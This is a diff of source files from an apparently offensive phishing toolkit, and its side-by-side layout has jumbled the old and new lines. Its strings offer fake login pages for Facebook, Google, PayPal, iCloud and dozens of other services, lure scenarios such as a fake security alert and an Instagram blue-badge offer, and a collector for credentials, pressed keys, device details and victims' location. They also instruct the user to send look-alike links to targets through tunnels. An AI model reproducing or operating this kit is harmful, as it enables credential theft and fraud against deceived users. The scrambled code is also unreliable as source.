[ ['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'], [['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'],
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK', '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'], ['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK',
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud', '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'], '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'],
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab', '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'], ['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud',
['{0}[{1}05{0}]{1} StackOverflow', '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'], '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'],
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin', '{0}[{1}30{0}]{1} MySpace'], ['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab',
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest', '{0}[{1}31{0}]{1} PayPal'], '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'],
['{0}[{1}08{0}]{1} Instagram', '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'], ['{0}[{1}05{0}]{1} StackOverflow',
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify', '{0}[{1}33{0}]{1} Verizon'], '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'],
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora', '{0}[{1}34{0}]{1} Yandex'], ['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin',
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub', '{0}[{1}35{0}]{1} Reddit'], '{0}[{1}30{0}]{1} MySpace'],
['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']], ['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest',
"additional_modules" : _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]), '{0}[{1}31{0}]{1} PayPal'],
"additional_modules_list" : ['{0}[{1}08{0}]{1} Instagram',
[ [_('{0}[{1}0A{0}]{1} Get Target Location')]], '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'],
"operation_mode" : _("\nOperation mode:\n"), ['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify',
"facebook_operation_modes" : '{0}[{1}33{0}]{1} Verizon'],
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)')], ['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora',
[_('{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)'), _('{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)')]], '{0}[{1}34{0}]{1} Yandex'],
"google_operation_modes" : ['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub',
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} New Google Web')], '{0}[{1}35{0}]{1} Reddit'],
[_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]], ['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']],
"instagram_operation_modes" : "additional_modules": _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
[ [_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')], "additional_modules_list":
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _('{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')], [[_('{0}[{1}0A{0}]{1} Get Target Location')]],
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]], "operation_mode": _("\nOperation mode:\n"),
"VK_operation_modes" : "facebook_operation_modes":
[ [_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]], [[_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)')],
"reddit_operation_modes" : [_('{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)'), _('{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)')]],
[ [_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]], "google_operation_modes":
"additional_module_location_operation_modes" : [[_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} New Google Web')],
[ [_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _('{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]] [_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
"instagram_operation_modes":
[[_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')],
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _(
'{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')],
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]],
"VK_operation_modes":
[[_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _(
'{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
"reddit_operation_modes":
[[_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]],
"additional_module_location_operation_modes":
[[_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _(
'{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]]
} }
lang_start_phishing_page = { lang_start_phishing_page = {
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'), "custom_folder_directory": _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page='page'),
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'), "manual_reading_suggestion": _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page='page'),
"press_enter_to_continue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]), "press_enter_to_continue_if_setup_correctly": _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]), "copying_your_files": _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]), "https_suggestion": _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4]) "gdrive_suggestion": _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])
} }
lang_enter_custom_redirecting_url = { lang_enter_custom_redirecting_url = {
"enter_redirecting_url_header" : _('{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "enter_redirecting_url_header": _('{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"enter_redirecting_url_prompt" : _('\n{0}[{1}*{0}]Insert a custom redirect url:').format(default_palette[0], default_palette[4]), "enter_redirecting_url_prompt": _('\n{0}[{1}*{0}]Insert a custom redirect url:').format(default_palette[0], default_palette[4]),
"redirect_here" : _('\n{0}REDIRECT HERE>>> {1}').format(default_palette[0], default_palette[2]) "redirect_here": _('\n{0}REDIRECT HERE>>> {1}').format(default_palette[0], default_palette[2])
} }
# #

View File

@ -11,49 +11,49 @@ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
lang_server_selection = { lang_server_selection = {
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "server_selection": _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]), "select_any_available_server": _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
"servers_list" : "servers_list":
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'], [['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'], ['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'], ['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
['{0}[{1}03{0}]{1}Localxpose (not working now)']] ['{0}[{1}03{0}]{1}Localxpose (not working now)']]
} }
lang_start_localhost = { lang_start_localhost = {
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "localhost_server": _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"your_localhost_is" : _('Your Localhost is '), "your_localhost_is": _('Your Localhost is '),
"starting_server_on_addr" : _('\n[*] Starting Server On Address:: {0}:{1}'), "starting_server_on_addr": _('\n[*] Starting Server On Address:: {0}:{1}'),
"running_localhost_server" : _('\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "running_localhost_server": _('\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK').format(default_palette[0], default_palette[2]), "send_this_url_suggestion": _('\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK').format(default_palette[0], default_palette[2]),
"localhost_url" : _('\n{0}[{1}*{0}]{1} Localhost URL: {2}http://').format(default_palette[2], default_palette[3], default_palette[3]) "localhost_url": _('\n{0}[{1}*{0}]{1} Localhost URL: {2}http://').format(default_palette[2], default_palette[3], default_palette[3])
} }
lang_start_ngrok = { lang_start_ngrok = {
"ngrok_server" : _('\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "ngrok_server": _('\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(default_palette[0], default_palette[2]), "send_this_url_suggestion": _("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(default_palette[0], default_palette[2]),
"ngrok_url" : _('\n{0}[{1}*{0}]{1} NGROK URL: {2}').format(default_palette[0], default_palette[2], default_palette[3]) "ngrok_url": _('\n{0}[{1}*{0}]{1} NGROK URL: {2}').format(default_palette[0], default_palette[2], default_palette[3])
} }
lang_start_serveo = { lang_start_serveo = {
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "serveo_random_server": _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "serveo_custom_server": _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]), "send_this_url_suggestion": _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]), "make_url_simmilar_to_real_suggestion": _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]), "insert_custom_subdomain": _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3]), "serveo_url": _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3]),
"failed_to_get_domain" : _('\n{0}FAILED TO GET THIS DOMAIN.').format(default_palette[0]), "failed_to_get_domain": _('\n{0}FAILED TO GET THIS DOMAIN.').format(default_palette[0]),
"suggestion_to_fix_issue" : _('\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE.').format(default_palette[0]), "suggestion_to_fix_issue": _('\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE.').format(default_palette[0]),
"you_can_try_to_select_other_domain" : _('\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...').format(default_palette[0], default_palette[4]), "you_can_try_to_select_other_domain": _('\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...').format(default_palette[0], default_palette[4]),
"serveo_url_option_selection" : _('\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "serveo_url_option_selection": _('\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"serveo_phishing_warning" : _('\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful.').format(default_palette[0], default_palette[2]), "serveo_phishing_warning": _('\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful.').format(default_palette[0], default_palette[2]),
"choose_type_of_url" : _('\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}').format(default_palette[0], default_palette[2]), "choose_type_of_url": _('\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}').format(default_palette[0], default_palette[2]),
"url_types" : "url_types":
[ ['{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)'], [['{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)'],
['{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)'] ], ['{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)']],
"serveo_is_down" : _('{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}').format(default_palette[0], default_palette[2]) "serveo_is_down": _('{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}').format(default_palette[0], default_palette[2])
} }
lang_start_localxpose = { lang_start_localxpose = {
"localxpose_random_server" : _('\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]) "localxpose_random_server": _('\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2])
} }

View File

@ -6,7 +6,6 @@
# #
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
@ -22,61 +21,61 @@ write_eula = _("""
""") """)
lang_check_php = { lang_check_php = {
"found" : _('\n {0}[{1}*{0}] PHP has been found. Proceeding.').format(default_palette[0], default_palette[2]), "found": _('\n {0}[{1}*{0}] PHP has been found. Proceeding.').format(default_palette[0], default_palette[2]),
"not-found" : _('\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.').format(default_palette[0], default_palette[2]) "not-found": _('\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.').format(default_palette[0], default_palette[2])
} }
lang_check_permissions = { lang_check_permissions = {
"permissions_granted" : _('{0}Permissions granted!').format(default_palette[0]), "permissions_granted": _('{0}Permissions granted!').format(default_palette[0]),
"permissions_denied" : _('{0}Permissions denied! Please run as {1}sudo{0}').format(default_palette[0], default_palette[2]), "permissions_denied": _('{0}Permissions denied! Please run as {1}sudo{0}').format(default_palette[0], default_palette[2]),
"windows_warning" : _("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system.").format(default_palette[0], default_palette[2]) "windows_warning": _("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system.").format(default_palette[0], default_palette[2])
} }
lang_verify_connection = { lang_verify_connection = {
"connected" : _('\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]').format(default_palette[0], default_palette[2]), "connected": _('\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]').format(default_palette[0], default_palette[2]),
"disconnected" : _('\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]').format(default_palette[0], default_palette[2]), "disconnected": _('\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]').format(default_palette[0], default_palette[2]),
"verify_your_connection" : _('\n{0}[{1}!{0}] Network error. Please verify your internet connection.').format(default_palette[2], default_palette[0]) "verify_your_connection": _('\n{0}[{1}!{0}] Network error. Please verify your internet connection.').format(default_palette[2], default_palette[0])
} }
lang_module_loading_message = { lang_module_loading_message = {
"is_loaded" : _('{0} IS LOADED...{0}\n--------------------------------').format(default_palette[0], default_palette[2]), "is_loaded": _('{0} IS LOADED...{0}\n--------------------------------').format(default_palette[0], default_palette[2]),
"select_any_mode" : _('\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------').format(default_palette[0], default_palette[2]) "select_any_mode": _('\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------').format(default_palette[0], default_palette[2])
} }
lang_get_ip_addr = { lang_get_ip_addr = {
"unable_to_get_ip" : 'Unable to get Hostname and IP' "unable_to_get_ip": 'Unable to get Hostname and IP'
} }
lang_port_selector = { lang_port_selector = {
"website_port_selection" : _('\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "website_port_selection": _('\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"select_any_available_port" : _("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(default_palette[0], default_palette[4]), "select_any_available_port": _("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(default_palette[0], default_palette[4]),
"port_suggestion" : _('\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want.').format(default_palette[0], default_palette[4]) "port_suggestion": _('\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want.').format(default_palette[0], default_palette[4])
} }
lang_exit_message = { lang_exit_message = {
"choice" : _('\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}').format(default_palette[0], default_palette[4], default_palette[2]), "choice": _('\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}').format(default_palette[0], default_palette[4], default_palette[2]),
"help_to_improve_this_tool" : _('{1} [[*]] {0}You always can help to improve this tool and support us. {0}').format(default_palette[2], default_palette[0]), "help_to_improve_this_tool": _('{1} [[*]] {0}You always can help to improve this tool and support us. {0}').format(default_palette[2], default_palette[0]),
"tell_if_page_got_broken" : _('{0}[{1}!{0}] If any phishing page got broken, please let us know.').format(default_palette[2], default_palette[0]), "tell_if_page_got_broken": _('{0}[{1}!{0}] If any phishing page got broken, please let us know.').format(default_palette[2], default_palette[0]),
"make_your_pull_request_or_issue" : _('{0}[{1}!{0}] You can create issue or pull request on our GitHub page.').format(default_palette[2], default_palette[0]), "make_your_pull_request_or_issue": _('{0}[{1}!{0}] You can create issue or pull request on our GitHub page.').format(default_palette[2], default_palette[0]),
"small_disclaimer_suggestion" : _("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use.").format(default_palette[2], default_palette[0]), "small_disclaimer_suggestion": _("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use.").format(default_palette[2], default_palette[0]),
"forum_suggestion" : _('{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help.').format(default_palette[2], default_palette[0]), "forum_suggestion": _('{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help.').format(default_palette[2], default_palette[0]),
"financial_support" : _("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)").format(default_palette[2], default_palette[0]), "financial_support": _("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)").format(default_palette[2], default_palette[0]),
"thank_you" : _('{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!').format(default_palette[2], default_palette[0]) "thank_you": _('{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!').format(default_palette[2], default_palette[0])
} }
lang_credentials_collector = { lang_credentials_collector = {
"waiting_for_interaction" : _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n").format(default_palette[0], default_palette[2], default_palette[4]), "waiting_for_interaction": _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n").format(default_palette[0], default_palette[2], default_palette[4]),
"credentials_found" : _('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]), "credentials_found": _('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
"device_details_found" : _('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]), "device_details_found": _('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]),
"getting_pressed_keys" : _('\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n').format(default_palette[2], default_palette[3]) "getting_pressed_keys": _('\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n').format(default_palette[2], default_palette[3])
} }
lang_terms_of_service_message = { lang_terms_of_service_message = {
"great_power_great_responsibility" : _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY ").format(default_palette[0], default_palette[2]), "great_power_great_responsibility": _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY ").format(default_palette[0], default_palette[2]),
"do_you_accept_license" : _("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[0]), "do_you_accept_license": _("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[0]),
"enter_this_to_confirm" : _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(default_palette[2], default_palette[0], text_to_confirm = text_to_confirm_license), "enter_this_to_confirm": _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(default_palette[2], default_palette[0], text_to_confirm=text_to_confirm_license),
"you_are_not_allowed" : _("{0}You are {1}not allowed {0}to use this app without accepting license.").format(default_palette[2], default_palette[0]), "you_are_not_allowed": _("{0}You are {1}not allowed {0}to use this app without accepting license.").format(default_palette[2], default_palette[0]),
"GPL_3.0" : _(""" "GPL_3.0": _("""
GNU GENERAL PUBLIC LICENSE GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007 Version 3, 29 June 2007
@ -752,4 +751,4 @@ the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>. <https://www.gnu.org/licenses/why-not-lgpl.html>.
""") """)
} }

View File

@ -28,11 +28,11 @@ simple_informant.check_permissions()
simple_informant.verify_connection() simple_informant.verify_connection()
# verCheck() # For now it's useless, i'll rewrite it later, after release. # verCheck() # For now it's useless, i'll rewrite it later, after release.
simple_informant.check_php() simple_informant.check_php()
#checkLocalxpose() # checkLocalxpose()
#checkOpenport() # checkOpenport()
#checkPagekite() # checkPagekite()
#checkLT() # checkLT()
if __name__ == "__main__": if __name__ == "__main__":
try: try:
@ -47,10 +47,12 @@ if __name__ == "__main__":
server_runner.start_server(port) server_runner.start_server(port)
server_runner.server_selection(port) server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start() multiprocessing.Process(
target=server_runner.start_server, args=(port,)).start()
simple_informant.credentials_collector() simple_informant.credentials_collector()
except KeyboardInterrupt: except KeyboardInterrupt:
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors) # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
port = '8080'
simple_informant.exit_message(port) simple_informant.exit_message(port)
exit() exit()